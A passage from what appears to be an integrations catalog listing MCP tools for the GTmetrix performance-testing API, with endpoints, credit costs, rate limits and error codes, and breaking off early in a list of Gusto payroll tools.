gtmetrix_delete_pages_by_page_id_performance_alert_conditions (write, destructive) — Delete a page's alert conditions via DELETE /pages/{page_id}/performance_alert_conditions. Remove EVERY performance alert condition from one page, so it stops raising alerts. There is no undo: the thresholds are gone and would have to be sent again. The page, its monitoring schedule and its alert history are untouched. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. DELETE /api/v1/gtmetrix/pages/{page_id}/performance_alert_conditions. Scopes: api. gtmetrix_delete_reports_by_report_slug (write, destructive) — Delete a report via DELETE /reports/{report_id}. PERMANENTLY DELETE one report and every resource attached to it. There is no undo and no recycle bin: the report's own address and the collection it appeared in both stop naming it. The test that produced it is unaffected, and the credits it spent are not returned. TWO 403s HERE ARE NOT CREDENTIAL PROBLEMS, and neither is fixed by pasting a new key. HTTP 403 code E40301 means the key's GTmetrix Team role is insufficient -- a Viewer-role key may not generate tests, delete reports or pages, or create PDF reports -- so the fix is a role change in the Team organization. HTTP 403 code E40300 means the account's e-mail address has never been validated; the fix is to validate it. Only HTTP 401 code E40100 means the key itself is wrong. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. DELETE /api/v1/gtmetrix/reports/{report_id}. Scopes: api. gtmetrix_get_browsers (read) — List browsers via GET /browsers. List the browsers available to this account, each with the id that `browser` takes on Start a test, its name and version, its platform, and which features (video, ad-blocking, device simulation) it supports. A reference read with no parameters. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/browsers. Scopes: api. gtmetrix_get_browsers_by_browser_id (read) — Get a browser via GET /browsers/{browser_id}. Read one browser by its id: its name, version, platform and the analysis features it supports. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/browsers/{browser_id}. Scopes: api. gtmetrix_get_locations (read) — List test locations via GET /locations. List the test locations available to this account, each with the id that `location` takes on Start a test, its name and country, the browsers it supports and whether it is a PRO-only location. A reference read: no parameters, and GTmetrix's credit table meters tests only, so this is documented as costing nothing. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/locations. Scopes: api. gtmetrix_get_locations_by_location_id (read) — Get a test location via GET /locations/{location_id}. Read one test location by its id: its name, country, supported browsers and whether it requires a PRO plan. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/locations/{location_id}. Scopes: api. gtmetrix_get_page_tags (read) — List page tags via GET /page_tags. List every page tag in this account, with each tag's id, name, description and background colour. Tag ids are what `filter[page_tag]` on List monitored pages and the attach/detach tools take. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/page_tags. Scopes: api. gtmetrix_get_page_tags_by_tag_id (read) — Get a page tag via GET /page_tags/{tag_id}. Read one page tag by its id: its name, description and background colour. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/page_tags/{tag_id}. Scopes: api. gtmetrix_get_pages (read) — List monitored pages via GET /pages. List the pages in this account's GTmetrix dashboard: the URL each one watches, the location and browser it is tested from, its monitoring frequency and its latest report. Paginated with `page[size]` (max 500) and `page[number]`, sortable on `page_id`, `created` and `latest_report_time`, and filterable on location, browser, tag, monitoring frequency, URL and the two timestamps. `filter[page_tag]` takes tag ids and, by default, matches pages carrying ALL of them; `filter[:bool]=OR` matches any. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/pages. Scopes: api. gtmetrix_get_pages_by_page_id (read) — Get a monitored page via GET /pages/{page_id}. Read one monitored page by its id: the URL it watches, its test location, browser and analysis options, its monitoring frequency, its tags and its latest report. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/pages/{page_id}. Scopes: api. gtmetrix_get_pages_by_page_id_latest_report (read) — Get a page's latest report via GET /pages/{page_id}/latest-report. Read the most recent report for one monitored page in a single call, with the same shape Get a report returns. This is the one-call answer to 'how is this page doing now', with no listing and no sorting. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/pages/{page_id}/latest-report. Scopes: api. gtmetrix_get_pages_by_page_id_performance_alert_conditions (read) — Get a page's alert conditions via GET /pages/{page_id}/performance_alert_conditions. Read the performance alert conditions configured on one page: each metric, comparison operator and threshold, whether a video is recorded when an alert fires (PRO only), and the recipients notified (Team organizations only). Read this before changing anything -- setting conditions replaces the whole list. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/pages/{page_id}/performance_alert_conditions. Scopes: api. gtmetrix_get_pages_by_page_id_performance_alert_events (read) — List a page's alert events via GET /pages/{page_id}/performance_alert_events. List the performance alerts one page has raised: when each triggered, which condition it was and the report that breached it. Paginated with `page[size]` and `page[number]`. This is the history; the thresholds themselves are read with Get a page's performance alert conditions. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/pages/{page_id}/performance_alert_events. Scopes: api. gtmetrix_get_pages_by_page_id_reports (read) — List a page's reports via GET /pages/{page_id}/reports. List the report history of one monitored page -- the series behind a performance trend. Paginated with `page[size]` (max 500) and `page[number]`, sortable on any score, timestamp or metric (prefix with `-` to reverse), and filterable on every one of them with the five comparison operators (`:eq`, `:gt`, `:gte`, `:lt`, `:lte`) -- which is what makes 'reports since Monday whose largest contentful paint exceeded 2500 ms' one call. `filter[:bool]` decides whether several filters are ANDed (the default) or ORed. Time-valued filters take Unix epoch seconds and metric-valued filters take the units the report reports (milliseconds for times, bytes for sizes). GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/pages/{page_id}/reports. Scopes: api. gtmetrix_get_reports_by_report_slug (read) — Get a report via GET /reports/{report_id}. Read one finished report by its id: the GTmetrix grade and the performance, structure, PageSpeed and YSlow scores, and the full metric set -- TTFB, redirect, connect and backend time, first and largest contentful paint, time to interactive, total blocking time, cumulative layout shift, speed index, onload and fully-loaded time, page size and request count. It also links the report's own resources (the Lighthouse audit, the HAR, the filmstrip data and the resource summary), which have a tool each. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/reports/{report_id}. Scopes: api. gtmetrix_get_reports_by_report_slug_resources_by_resource_name (read) — Get a named report resource via GET /reports/{report_id}/resources/{resource_name}. Read one of a report's remaining JSON resources by name. This integration accepts exactly three: `analysis-options` (the options the test was run with), `pagespeed.json` and `yslow.json` (the legacy PageSpeed and YSlow audits, present only on reports produced with `report: legacy` or `lighthouse,legacy`). The two TAR ARCHIVES GTmetrix also serves here -- `pagespeed-files.tar` and `optimized-images.tar` -- and the four binary resources (`screenshot.jpg`, `filmstrip-frame.jpg`, `report.pdf`, `video.mp4`) are REFUSED by name: they are unbounded bytes and this integration holds no artifact transport contract for them. The four JSON resources with a tool of their own (`lighthouse.json`, `net.har`, `filmstrip.json`, `resource-summary.json`) are read with those tools. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/reports/{report_id}/resources/{resource_name}. Scopes: api. gtmetrix_get_reports_by_report_slug_resources_filmstrip_json (read) — Get a report's filmstrip data via GET /reports/{report_id}/resources/filmstrip.json. Read the load filmstrip for one report AS DATA: one entry per captured frame with its timestamp. `base64=1` asks GTmetrix to inline each frame's image as base64 inside the JSON instead of linking it. The individual frame IMAGES (`filmstrip-frame.jpg`) are not available through this integration: they are raw bytes with no bounded artifact transport contract. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/reports/{report_id}/resources/filmstrip.json. Scopes: api. gtmetrix_get_reports_by_report_slug_resources_lighthouse_json (read) — Get a report's Lighthouse audit via GET /reports/{report_id}/resources/lighthouse.json. Read the complete Lighthouse audit JSON for one report: every audit, its score, its weight in each category, and the opportunities and diagnostics with their estimated savings. `pretty=1` asks for it indented. Only reports produced with `report: lighthouse` or `lighthouse,legacy` have one. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/reports/{report_id}/resources/lighthouse.json. Scopes: api. gtmetrix_get_reports_by_report_slug_resources_net_har (read) — Get a report's network HAR via GET /reports/{report_id}/resources/net.har. Read one report's full HTTP Archive (HAR): every request the page made, with timings, sizes, headers and status codes. This is the largest JSON resource a report has, and `pretty=1` asks for it indented. Do not pass `download=1` through this integration -- it asks GTmetrix to serve the document as a file attachment, and this connector follows no redirects and returns JSON. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/reports/{report_id}/resources/net.har. Scopes: api. gtmetrix_get_reports_by_report_slug_resources_resource_summary_json (read) — Get a report's resource summary via GET /reports/{report_id}/resources/resource-summary.json. Read one report's page-composition summary: the number of requests and the transferred and uncompressed bytes, broken down by resource type (HTML, CSS, JavaScript, images, fonts, other) and by first versus third party. The cheapest way to answer 'what is making this page heavy'. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/reports/{report_id}/resources/resource-summary.json. Scopes: api. gtmetrix_get_simulated_devices (read) — List simulated devices via GET /simulated-devices. List the device presets `simulate_device` accepts on Start a test, each with its id, name and the screen resolution, user agent and device pixel ratio it applies. A preset OVERRIDES `browser_width`, `browser_height`, `browser_dppx` and `user_agent`. A reference read with no parameters. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/simulated-devices. Scopes: api. gtmetrix_get_simulated_devices_by_simulated_device_id (read) — Get a simulated device via GET /simulated-devices/{simulated_device_id}. Read one simulated device preset by its id: the screen resolution, user agent and device pixel ratio it applies to a test. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/simulated-devices/{simulated_device_id}. Scopes: api. gtmetrix_get_status (read) — Get API status and credit balance via GET /status. Read this connection's GTmetrix account status: the remaining `api_credits`, when the balance next refills (`api_refill`) and by how much (`api_refill_amount`), the plan type, the Team role this key acts with, and whether the plan has PRO analysis options, PRO locations and white-label PDF access. This is the free call that answers both 'is this key still working' and 'can this account afford another test', so run it before starting a test rather than discovering an empty balance from a failure. ONE FIELD IS REDACTED. GTmetrix's JSON:API identity for the `user` resource IS the API key -- the vendor's own schema types this reply's `data.id` as the API key -- so returning it verbatim would put a live credential into a tool result, an audit event and a model's context. This integration replaces that single field with a sentence saying where to read the key instead. Every other attribute is returned untouched, which is what a credit and entitlement check actually needs. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/status. Scopes: api. gtmetrix_get_tests (read) — List tests via GET /tests. List the tests this account has started, newest first, with each test's state (`queued`, `started`, `completed`, `error`), the location and browser it ran on and -- once finished -- a link to its report. Paginated with `page[size]` (max 500) and `page[number]`, sortable on `created`, `started` and `finished` (prefix an attribute with `-` to reverse), and filterable on source, state, location, browser and the three timestamps. `filter[:bool]` decides whether several filters are ANDed (the default) or ORed. This reads the queue; it does not start anything and costs no credits. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/tests. Scopes: api. gtmetrix_get_tests_by_test_id (read) — Get a test via GET /tests/{test_id}. Read one test by the id `Start a test` returned: its `state`, the time it was created, started and finished, and -- once `state` is `completed` -- the report it produced. This is the poll a caller runs after starting a test. A test that ended in `error` carries the reason, which is a page-under-test problem rather than an API one. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. GET /api/v1/gtmetrix/tests/{test_id}. Scopes: api. gtmetrix_post_page_tags (write) — Create or update a page tag via POST /page_tags. Create a page tag from `data.attributes` -- `name` is required and unique per account (45 characters maximum), with an optional `description` shown as a tooltip and a `color` as a six-character hex value with NO leading `#`. This one route does double duty: sending `data.id` UPDATES the existing tag with that id instead of creating a new one, which is the vendor's own design. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. POST /api/v1/gtmetrix/page_tags. Scopes: api. gtmetrix_post_page_tags_by_tag_id (write) — Update a page tag via POST /page_tags/{tag_id}. Update one existing page tag by its id. Only the attributes you send are changed and the rest keep their current values, so this is a partial update despite being a POST. `name` stays unique per account and `color` is a six-character hex value with no leading `#`. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. POST /api/v1/gtmetrix/page_tags/{tag_id}. Scopes: api. gtmetrix_post_page_tags_by_tag_id_attach (write) — Attach a tag to pages via POST /page_tags/{tag_id}/attach. Attach one tag to many pages at once. `page_ids` takes between 1 and 500 distinct page ids. This is the mirror of Attach tags to a page: one tag, many pages, rather than one page, many tags. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. POST /api/v1/gtmetrix/page_tags/{tag_id}/attach. Scopes: api. gtmetrix_post_page_tags_by_tag_id_detach (write) — Detach a tag from pages via POST /page_tags/{tag_id}/detach. Remove one tag from many pages at once. `page_ids` takes between 1 and 500 distinct page ids. The tag itself survives. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. POST /api/v1/gtmetrix/page_tags/{tag_id}/detach. Scopes: api. gtmetrix_post_pages_by_page_id_attach_tags (write) — Attach tags to a page via POST /pages/{page_id}/attach_tags. Attach one or more existing page tags to one page. `page_tags` takes between 1 and 500 tag ids and each id must be distinct. Tags already on the page are left as they are; nothing is removed. Create a tag first with Create or update a page tag. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. POST /api/v1/gtmetrix/pages/{page_id}/attach_tags. Scopes: api. gtmetrix_post_pages_by_page_id_detach_tags (write) — Detach tags from a page via POST /pages/{page_id}/detach_tags. Remove one or more page tags from one page. `page_tags` takes between 1 and 500 distinct tag ids. The TAGS themselves survive -- only the association with this page is removed; Delete a page tag deletes the tag. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. POST /api/v1/gtmetrix/pages/{page_id}/detach_tags. Scopes: api. gtmetrix_post_pages_by_page_id_performance_alert_conditions (write) — Set a page's alert conditions via POST /pages/{page_id}/performance_alert_conditions. Set the performance alert conditions on one page. Each condition names a `metric` (a score, a timing or a size), an `operator` (`<`, `=`, `>`) and a `value` in the units the Report API reports that metric in -- milliseconds for timings, bytes for sizes -- and at most ten conditions may exist. `create_video` keeps a video of the load that triggered an alert (PRO only); `send_to` names the Team organization members to notify by e-mail, and is required for Team organizations and unavailable otherwise. THIS REPLACES THE WHOLE LIST rather than adding to it: the `conditions` array you send becomes the page's complete set of alert conditions, and an EMPTY array removes every one of them. Read the current list with Get a page's performance alert conditions first and send it back with your change applied. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. POST /api/v1/gtmetrix/pages/{page_id}/performance_alert_conditions. Scopes: api. gtmetrix_post_pages_by_page_id_performance_monitor (write) — Set a page's monitoring frequency via POST /pages/{page_id}/performance_monitor. Turn scheduled monitoring on or off for one page and choose how often it runs. `data.attributes.frequency` takes `none` (or its alias `no`) to disable monitoring, or `hourly`, `daily`, `weekly` or `monthly` to enable it at that interval -- so a value read from a page's own `monitored` attribute can be sent back unchanged. Each scheduled run is a test and spends this account's credits when it fires, which is worth knowing before setting `hourly` on a free account with five trial credits. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. POST /api/v1/gtmetrix/pages/{page_id}/performance_monitor. Scopes: api. gtmetrix_post_pages_by_page_id_retest (write) — Retest a monitored page via POST /pages/{page_id}/retest. Test one monitored page NOW, outside its monitoring schedule, with the options that page is configured with. The reply is a test resource with `state: queued`, so poll Get a test as after Start a test. The page's schedule is unchanged. SPENDS API CREDITS. GTmetrix's published prices: a Lighthouse report costs 1 credit, a PageSpeed/YSlow (legacy) report 0.7, both together 1.1, and a metrics-only report (`report: none`) 0.6; `video: 1` adds a further 0.9. A free/Basic account is given FIVE trial credits in total when its key is first generated, which is roughly four Lighthouse tests ever -- so treat every call to this tool as spending money. Read the remaining balance with Get API status and credit balance, which costs nothing. TWO 403s HERE ARE NOT CREDENTIAL PROBLEMS, and neither is fixed by pasting a new key. HTTP 403 code E40301 means the key's GTmetrix Team role is insufficient -- a Viewer-role key may not generate tests, delete reports or pages, or create PDF reports -- so the fix is a role change in the Team organization. HTTP 403 code E40300 means the account's e-mail address has never been validated; the fix is to validate it. Only HTTP 401 code E40100 means the key itself is wrong. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. POST /api/v1/gtmetrix/pages/{page_id}/retest. Scopes: api. gtmetrix_post_reports_by_report_slug_retest (write) — Retest a report via POST /reports/{report_id}/retest. Run the analysis that produced this report AGAIN, with the same URL, location, browser and analysis options, and get a NEW test back. The original report is left alone. The reply is a test resource with `state: queued`, so poll Get a test as after Start a test. SPENDS API CREDITS. GTmetrix's published prices: a Lighthouse report costs 1 credit, a PageSpeed/YSlow (legacy) report 0.7, both together 1.1, and a metrics-only report (`report: none`) 0.6; `video: 1` adds a further 0.9. A free/Basic account is given FIVE trial credits in total when its key is first generated, which is roughly four Lighthouse tests ever -- so treat every call to this tool as spending money. Read the remaining balance with Get API status and credit balance, which costs nothing. TWO 403s HERE ARE NOT CREDENTIAL PROBLEMS, and neither is fixed by pasting a new key. HTTP 403 code E40301 means the key's GTmetrix Team role is insufficient -- a Viewer-role key may not generate tests, delete reports or pages, or create PDF reports -- so the fix is a role change in the Team organization. HTTP 403 code E40300 means the account's e-mail address has never been validated; the fix is to validate it. Only HTTP 401 code E40100 means the key itself is wrong. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. POST /api/v1/gtmetrix/reports/{report_id}/retest. Scopes: api. gtmetrix_post_tests (write) — Start a test via POST /tests. Start a new GTmetrix analysis of a URL. `data.attributes.url` is the only required field; `report` chooses what is produced (`lighthouse`, `legacy` for PageSpeed/YSlow, `lighthouse,legacy` for both, `none` for metrics only), and `location`, `browser`, `browser_width`/`browser_height`, `simulate_device`, `throttle`, `adblock`, `cookies`, `user_agent`, `allow_url`/`block_url`, `video` and `retention` shape the run. The reply is the test resource with its id and `state: queued` -- an analysis is ASYNCHRONOUS, so poll Get a test with that id until it reports `completed` and then read the report it links to. `httpauth_username` and `httpauth_password` are HTTP access-authentication credentials for YOUR site, sent by GTmetrix's browser to the page under test; they are not GTmetrix credentials and have nothing to do with this connection's key. Reference values for `location`, `browser` and `simulate_device` come from List test locations, List browsers and List simulated devices, all free. SPENDS API CREDITS. GTmetrix's published prices: a Lighthouse report costs 1 credit, a PageSpeed/YSlow (legacy) report 0.7, both together 1.1, and a metrics-only report (`report: none`) 0.6; `video: 1` adds a further 0.9. A free/Basic account is given FIVE trial credits in total when its key is first generated, which is roughly four Lighthouse tests ever -- so treat every call to this tool as spending money. Read the remaining balance with Get API status and credit balance, which costs nothing. TWO 403s HERE ARE NOT CREDENTIAL PROBLEMS, and neither is fixed by pasting a new key. HTTP 403 code E40301 means the key's GTmetrix Team role is insufficient -- a Viewer-role key may not generate tests, delete reports or pages, or create PDF reports -- so the fix is a role change in the Team organization. HTTP 403 code E40300 means the account's e-mail address has never been validated; the fix is to validate it. Only HTTP 401 code E40100 means the key itself is wrong. GTmetrix rate-limits the API per account -- its own figures are 240 requests per 60-second window for GTmetrix Basic and 960 for most PRO plans -- and an exhausted window answers HTTP 429. That is a THROTTLE, never a bad key: wait for the window and retry rather than re-pasting the credential. POST /api/v1/gtmetrix/tests. Scopes: api. ================================================================================ ## Gusto URL: https://www.agenticfabriq.com/integrations/gusto Section: Integrated Tools Gusto — 137 MCP tools Provider key: gusto. Scopes: none. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. gusto_delete_v1_companies_by_company_id_earning_types_by_earning_type_uuid (write, destructive) — Delete company earning type via DELETE /v1/companies/{company_id}/earning_types/{earning_type_uuid} DELETE /api/v1/gusto/v1/companies/{company_id}/earning_types/{earning_type_uuid}. Scopes: none. gusto_delete_v1_company_benefits_by_company_benefit_id (write, destructive) — Delete company benefit via DELETE /v1/company_benefits/{company_benefit_id} DELETE /api/v1/gusto/v1/company_benefits/{company_benefit_id}. Scopes: none. gusto_delete_v1_compensations_by_compensation_id (write, destructive) — Delete compensation via DELETE /v1/compensations/{compensation_id} DELETE /api/v1/gusto/v1/compensations/{compensation_id}. Scopes: none. gusto_delete_v1_departments_by_department_uuid (write, destructive) — Delete department via DELETE /v1/departments/{department_uuid} DELETE /api/v1/gusto/v1/departments/{department_uuid}. Scopes: none. gusto_delete_v1_employee_benefits_by_employee_benefit_id (write, destructive) — Delete employee benefit via DELETE /v1/employee_benefits/{employee_benefit_id} DELETE /api/v1/gusto/v1/employee_benefits/{employee_benefit_id}. Scopes: none. gusto_delete_v1_employees_by_employee_id (write, destructive) — Delete employee via DELETE /v1/employees/{employee_id} DELETE /api/v1/gusto/v1/employees/{employee_id}. Scopes: none. gusto_delete_v1_employees_by_employee_id_rehire (write, destructive) — Delete employee rehire via DELETE /v1/employees/{employee_id}/rehire DELETE /api/v1/gusto/v1/employees/{employee_id}/rehire. Scopes: none. gusto_delete_v1_employees_by_employee_id_terminations (write, destructive) — Delete employee termination via DELETE /v1/employees/{employee_id}/terminations DELETE /api/v1/gusto/v1/employees/{employee_id}/terminations. Scopes: none. gusto_delete_v1_home_addresses_by_home_address_uuid (write, destructive) — Delete home address via DELETE /v1/home_addresses/{home_address_uuid} DELETE /api/v1/gusto/v1/home_addresses/{home_address_uuid}. Scopes: none. gusto_delete_v1_recurring_reimbursements_by_id (write, destructive) — Delete recurring reimbursement via DELETE /v1/recurring_reimbursements/{id} DELETE /api/v1/gusto/v1/recurring_reimbursements/{id}. Scopes: none. gusto_delete_v1_time_tracking_time_sheets_by_time_sheet_uuid (write, destructive) — Delete time sheet via DELETE /v1/time_tracking/time_sheets/{time_sheet_uuid} DELETE /api/v1/gusto/v1/time_tracking/time_sheets/{time_sheet_uuid}. Scopes: none. gusto_delete_v1_webhook_subscriptions_by_webhook_subscription_uuid (write, destructive) — Delete webhook subscription via DELETE /v1/webhook_subscriptions/{webhook_subscription_uuid} DELETE /api/v1/gusto/v1/webhook_subscriptions/{webhook_subscription_uuid}. Scopes: none. gusto_delete_v1_work_addresses_by_work_address_uuid (write, destructive) — Delete work address via DELETE /v1/work_addresses/{work_address_uuid} DELETE /api/v1/gusto/v1/work_addresses/{work_address_uuid}. Scopes: none. gusto_get_v1_benefits (read) — List benefits via GET /v1/benefits GET /api/v1/gusto/v1/benefits. Scopes: none. gusto_get_v1_benefits_by_benefit_id (read) — Get benefit via GET /v1/benefits/{benefit_id} GET /api/v1/gusto/v1/benefits/{benefit_id}. Scopes: none. gusto_get_v1_benefits_by_benefit_id_requirements (read) — List benefit requirements via GET /v1/benefits/{benefit_id}/requirements GET /api/v1/gusto/v1/benefits/{benefit_id}/requirements. Scopes: none. gusto_get_v1_companies_by_company_id (read) — Get company via GET /v1/companies/{company_id} GET /api/v1/gusto/v1/companies/{company_id}. Scopes: none. gusto_get_v1_companies_by_company_id_admins (read) — List company admins via GET /v1/companies/{company_id}/admins GET /api/v1/gusto/v1/companies/{company_id}/admins. Scopes: none. gusto_get_v1_companies_by_company_id_company_benefits (read) — List company benefits via GET /v1/companies/{company_id}/company_benefits GET /api/v1/gusto/v1/companies/{company_id}/company_benefits. Scopes: none. gusto_get_v1_companies_by_company_id_contractor_payments (read) — List company contractor payments via GET /v1/companies/{company_id}/contractor_payments GET /api/v1/gusto/v1/companies/{company_id}/contractor_payments. Scopes: none. gusto_get_v1_companies_by_company_id_contractor_payments_by_contractor_payment_id (read) — Get company contractor payment via GET /v1/companies/{company_id}/contractor_payments/{contractor_payment_id} GET /api/v1/gusto/v1/companies/{company_id}/contractor_payments/{contractor_payment_id}. Scopes: none. gusto_get_v1_companies_by_company_id_contractors_payment_details (read) — List contractor payment details via GET /v1/companies/{company_id}/contractors/payment_details GET /api/v1/gusto/v1/companies/{company_id}/contractors/payment_details. Scopes: none. gusto_get_v1_companies_by_company_id_custom_fields (read) — List company custom fields via GET /v1/companies/{company_id}/custom_fields GET /api/v1/gusto/v1/companies/{company_id}/custom_fields. Scopes: none. gusto_get_v1_companies_by_company_id_earning_types (read) — List company earning types via GET /v1/companies/{company_id}/earning_types GET /api/v1/gusto/v1/companies/{company_id}/earning_types. Scopes: none. gusto_get_v1_companies_by_company_id_employees (read) — List company employees via GET /v1/companies/{company_id}/employees GET 